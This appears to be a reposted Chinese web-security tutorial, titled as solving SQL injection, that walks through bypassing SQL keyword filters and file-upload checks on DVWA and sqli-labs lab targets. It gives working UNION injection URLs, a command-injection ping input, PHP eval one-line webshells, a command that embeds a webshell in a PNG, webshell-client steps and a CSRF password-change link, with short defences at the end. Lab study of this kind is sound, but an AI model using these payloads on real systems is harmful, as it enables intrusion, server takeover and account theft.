這篇文章主要為大家展示了“如何解決SQL注入的安全問題”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“如何解決SQL注入的安全問題”這篇文章吧。
網(wǎng)站建設哪家好,找成都創(chuàng)新互聯(lián)!專注于網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、重慶小程序開發(fā)公司、集團企業(yè)網(wǎng)站建設等服務項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了張家口免費建站歡迎大家使用!
黑名單過濾技術
1、過濾sql關鍵字段
常見的關鍵字:and、or、union all select、引號、空格等等過濾
還有一些類似的技術不是過濾而是通過轉義函數(shù)或者剝離非法關鍵字
繞過方法:
1、大小寫變形(id=-1 UniOn sEleCt 1,2,3……)
2、編碼:hex碼、urlencode
3、注釋 ‘/or/'
4、過濾替換 (and–&&、or–||)
5、截斷
二、文件上傳漏洞
我們在上網(wǎng)時經(jīng)常會使用文件上傳的功能,比如上傳一個頭像圖片,上傳一個文件,上傳一個視頻等等,我都知道這是一個正常的功能,但是大家有沒有想過文件上傳后,服務器是怎么處理或者解析這些文件的呢,如果服務器在處理這些上傳文件的時候做的不夠安全,就會導致安全事件的發(fā)生,比如: 上傳web腳本文件讓服務器執(zhí)行
(1)上傳木馬病毒文件誘導用戶或者管理員下載
(2)上傳釣魚文件
(3)上傳欺詐文件
文件上傳漏洞核心
要使得文件上傳攻擊能夠成功,一般需要滿足兩個要素:
(1)包含webshell文件能夠成功被上傳到服務器上
(2) 該文件能夠被服務器解析或者我們能訪問到該上傳文件
實現(xiàn)核心—上傳繞過技術
一般而言文件上傳遇到的檢測技術: +
(1)客戶端 javascript 檢測 (通常為檢測文件擴展名)
(2)服務端 MIME 類型檢測 (檢測 Content-Type 內容)
(3)服務端目錄路徑檢測 (檢測跟 path 參數(shù)相關的內容)
(4)服務端文件擴展名檢測 (檢測跟文件 extension 相關的內容)
(5)服務端文件內容檢測 (檢測內容是否合法或含有惡意代碼)
客戶端檢測繞過(javascript 檢測)
這類檢測通常在上傳頁面里含有專門檢測文件上傳的 javascript 代碼最常見的就是檢測擴展名是否合法,這類繞過很簡單。
做法:制作webshell文件(比如shell.php)—>修改為合法擴展名(shell.png)—>burp攔截改為(shell.php) —>上傳
服務端檢測繞過(MIME 類型檢測)
該檢測是在服務器上進行,主要檢查的是content-type類型值(白名單或者黑名單)。當然這個繞過也簡單。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp攔截改為(sontent-Type: image/gif) —>上傳
服務器檢測繞過(目錄路徑檢測)
該檢測是在服務器上進行,一般就檢測路徑是否合法,但稍微特殊一點的都沒有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、c語言的截斷符,就是說服務器在讀文件的時候讀到shell.php碰到【\0】就截止了當做shell.php執(zhí)行了。 類似還有post提交文件shell.php%00.png
注:繞過后臺檢測,就是給他想要的文件后綴名,然后截斷真實的后綴
服務端檢測繞過(文件擴展名檢測)
顧名思義就是檢查文件擴展名,一般通過白黑名單防御。
1、黑名單 比如擴展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小寫繞過用像 AsP,pHp 之類的文件名繞過黑名單檢測
(1)名單列表繞過用黑名單里沒有的名單進行攻擊,比如黑名單里沒有 asa 或 cer 之類
(2)特殊文件名繞過 比如發(fā)送的 http 包里把文件名改成 test.asp. 或 test.asp_(下劃線為空格),這種命名方式在 windows 系統(tǒng)里是不被允許的,所以需要在 burp 之類里進行修改,然后繞過驗證后,會被 windows 系統(tǒng)自動去掉后面的點和空格,但要注意 Unix/Linux 系統(tǒng)沒有這個特性。
(3)htaccess 文件攻擊 配合名單列表繞過,上傳一個自定義的.htaccess,就可以輕松繞過各種檢測
(4)解析調用/漏洞繞過這類漏洞直接配合上傳一個代碼注入過的非黑名單文件即可,再利用解析調用/漏洞
(5)白名單檢測
2、白名單相對來說比黑名單安全一些,但也不見得就絕對安全了
(1)0x00 截斷繞過
用像 test.asp%00.jpg 的方式進行截斷,屬于白名單文件,再利用服務端代碼的檢測邏輯漏洞進行攻擊,目前我只遇到過 asp 的程序有這種漏洞 + 解析調用/漏洞繞過這類漏洞直接配合上傳一個代碼注入過的白名單文件即可,再利用解析調用/漏洞
(2).htaccess 文件攻擊
在 PHP manual 中提到了下面一段話 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全沒配置好就可以通過 move_uploaded_file 函數(shù)把自己寫的.htaccess 文件覆蓋掉服務器上的這樣就能任意定義解析名單了
服務端檢測繞過(文件內容檢測)
如果文件內容檢測設置得比較嚴格,那么上傳攻擊將變得非常困難也可以說它是在代碼層檢測的最后一道關卡如果它被突破了,就算沒有代碼層的漏洞也給后面利用應用層的解析漏洞帶來了機會。
(1)文件幻數(shù)頭檢查
主要是檢測文件內容開始處的文件幻數(shù),比如:要繞過 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要繞過 gif 文件幻數(shù)檢測 Value = 47 49 46 38 39 61 要繞過 png 文件幻數(shù)檢測 Value = 89 50 4E 47
(2)文件相關信息檢測
圖像文件相關信息檢測常用的就是 getimagesize()函數(shù)只需要把文件頭部分偽造好就 ok 了,就是在幻數(shù)的基礎上還加了一些文件信息有點像下面的結構
GIF89a (...some binary data for image...) <?php phpinfo(); ?> (... skipping the rest of binary data ...)
(3)文件加載檢測
這個是最變態(tài)的檢測了,一般是調用 API 或函數(shù)去進行文件加載測試常見的是圖像渲染測試,再變態(tài)點的甚至是進行二次渲染,對渲染/加載測試的攻擊方式是代碼注入繞過對二次渲染的攻擊方式是攻擊文件加載器自身。
三、
1、(1)先將對應網(wǎng)址復制到下方,點擊Load URL,然后點擊Execute
(2)構造閉合,得到數(shù)據(jù)庫名–dvwa,然后按照之前的套路發(fā)現(xiàn)系統(tǒng)報錯,報錯信息如下
系統(tǒng)自動加入了\符號,是構造的函數(shù)出現(xiàn)錯誤,這時我們應規(guī)避這種現(xiàn)象,使系統(tǒng)不為構造函數(shù)自動添加特殊符號,對上述這種情況,可以使用hex碼將字符串dvwa轉換為十六進制(變?yōu)?x……),這樣將不會在構造函數(shù)中使用到單引號符號,此時系統(tǒng)將不再自動為構造函數(shù)添加特殊字符,破壞構造函數(shù)。
(3)同理,按照之前所使用的SQL語句,爆數(shù)據(jù)。
2、以Less-25為例
(1)
http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+ //根據(jù)回顯構造閉合,爆出database()
(2)
http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+ //爆出表名table_name、列名column_name
(3)
http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+ //爆出數(shù)據(jù)
小結:首先不斷構造閉合輸入,觀察回顯,發(fā)現(xiàn)系統(tǒng)過濾了“and”字符串,以及“+”(+ 相當于空格鍵)
然后我們猜測使用大小寫混合的and,或者交叉不連續(xù)出現(xiàn)and,或者使用其他字符代替and–如&&(主要目的是為了使用and),又或者使用hex碼、urlencode轉化的方法;同理,字符串“or”,或者在單詞中出現(xiàn)的or(如information)也可以使用上述的方法。關鍵在于繞過系統(tǒng)的過濾,達到一定的目的
3、以Less-26為例
and字符與Less-25相同的道理,過濾掉的空格可以使用 %20 --空格、或者TAB鍵的編碼、或者換行鍵的編碼
4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/為例,界面如下,是一個可以ping的界面
該界面存在漏洞即可以使用連接符號在ping的同時完成其他動作,當在輸入欄輸入127.0.0.1 || pwd,出現(xiàn)情況如下
發(fā)現(xiàn)界面中出現(xiàn)了當前文件目錄,然后我們可以利用此漏洞獲取一些想得到的數(shù)據(jù)
在此提及“一句話木馬”
echo '<?php @eval($_POST[123]);?>' > 123.php
[有時為了不讓受害人發(fā)現(xiàn),常把其他形式的語句與“一句話木馬”連用
<?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php
四、結合File Inclusion與File Upload實現(xiàn)攻擊
(1)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Low
然后File Upload上傳一個帶有一句話木馬的.php文件,然后通過已知的目錄,將信息添加到中國菜刀,獲取所有目錄—此時可以實現(xiàn)對文件的篡改、刪除、上傳等操作(有時可以通過重命名文件名來達到繞過的目的:123.png0x00.php —此處0x00代表命名結束)
使用中國菜刀,進行下圖所示的添加—針對 echo ‘<?php @eval($_POST[123]);?>' > 123.php
然后就可以通過中國菜刀獲取目錄如下:
(2)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為Medium
此時上傳.php文件會回顯錯誤,無法上傳,所以我們將木馬文件格式改為支持上傳的格式,png格式的文件中有一句話木馬—此處以png格式為例
手動設置瀏覽器代理
啟動BurpLoader,進行抓包改名處理!
然后Action->Send to Repeater,然后在Repeater中點擊Go,觀察右邊窗口,發(fā)現(xiàn)文件已經(jīng)上傳,打開中國菜刀,按照之前的步驟訪問即可。
(3)在http://192.168.122.130/DVWA-1.9/security.php下選擇DVWA security為High
首先看到圖片已經(jīng)上傳,那么上傳的圖片一定是已經(jīng)經(jīng)過處理的(加入了一句話木馬),就是打開圖片編碼工具winhex,在編碼工具中加入一句話木馬,重新生成一個新的編碼后的圖片。
當然也可以使用cmd命令:copy 1.png/b+123.php /a TCP.png。此處1.png為正常圖片,123.php為一句話木馬,將他們重新合成新的圖片取名為TCP.png,然后上傳,即可成功(上面使用的是cmd)。
圖片上傳完成后,不能像Medium等級那樣進行抓包改名處理。應該是web服務器端還有相應的安全性處理。
此時需要我們手動觸發(fā)(當然也可以等待被攻擊系統(tǒng)管理員點擊圖片觸發(fā))。觸發(fā)之后我們就可以使用同樣的方式,打開中國菜刀,進行目錄的獲取。
五、對于一些變態(tài)等級的處理思路:
compare,觀察上傳前與上傳后哪些地方?jīng)]有變(通過二異性),然后對上傳數(shù)據(jù)做出一定的修改,從而達到一定目的。
一些其他的攻擊方法:
1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/為例,在圖片中寫入觸發(fā)指令,當管理員敲某命令時執(zhí)行該圖片,執(zhí)行圖片中包含的代碼,即預埋一個常用的觸發(fā)指令!
2、找到要攻擊的系統(tǒng)默認存儲臨時文件的具體位置,然后改變文件的內容(比如說在文件中加入包含一句話木馬的可執(zhí)行文件等),達到預期的效果
3、對于會為上傳文件自動修改文件名的系統(tǒng),會使我們無法執(zhí)行我們上傳的非可執(zhí)行文件,此時我們可以這樣:因為設備處理文件是有一定限度的,可以每秒鐘高頻傳輸同一文件,使其后臺來不及修改其中一兩個文件的文件名,使之出現(xiàn)文件名不會被修改的情況,然后我們如果可以訪問到該文件,執(zhí)行即可進行攻擊!
六、CSRF:Cross site Request Forgery跨棧請求偽造(利用cookie值)
構造一個URL,誘導受害人點擊鏈接,從而利用受害人的cookie來實現(xiàn)受害人在自己不知道的情況下修改密碼
http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
舉例:比如說黑客使用自己的賬號密碼登錄某網(wǎng)站,然后點到修改密碼界面,構造一個修改密碼的URL,當黑客想進行攻擊時就誘導某受害人(該受害人之前使用瀏覽器登錄網(wǎng)站時,瀏覽器中存有cookie)點擊之前構造好的URL,然后在受害人不知道的情況下修改密碼,此密碼黑客知道,此時若攻擊成功,黑客就能使用之前構造URL時構造的密碼以受害人的身份登錄網(wǎng)站,進行一系列操作!
當下的一些防御手段:
1、可以使用驗證碼進行防御
2、需要原始密碼才能修改密碼的網(wǎng)站
3、防御手法:no-referrer-when-downgrade
從一個網(wǎng)站鏈接到另外一個網(wǎng)站會產生新的http請求,referrer是http請求中表示來源的字段。
no-referrer-when-downgrade表示從https協(xié)議降為http協(xié)議時不發(fā)送referrer給跳轉網(wǎng)站的服務器
4、防偽機制token,不同于cookie,可以堵住絕大多數(shù)CSRF攻擊(人手一個防偽碼,別人猜不出來,如果自己要改密碼,必須自己使用自己的token才能成功)—token需要無規(guī)律、最好是加密。
以上是“如何解決SQL注入的安全問題”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
新聞名稱:如何解決SQL注入的安全問題
文章鏈接:http://chinadenli.net/article16/gjcpdg.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站營銷、網(wǎng)站制作、品牌網(wǎng)站制作、定制開發(fā)、網(wǎng)站建設、Google
聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)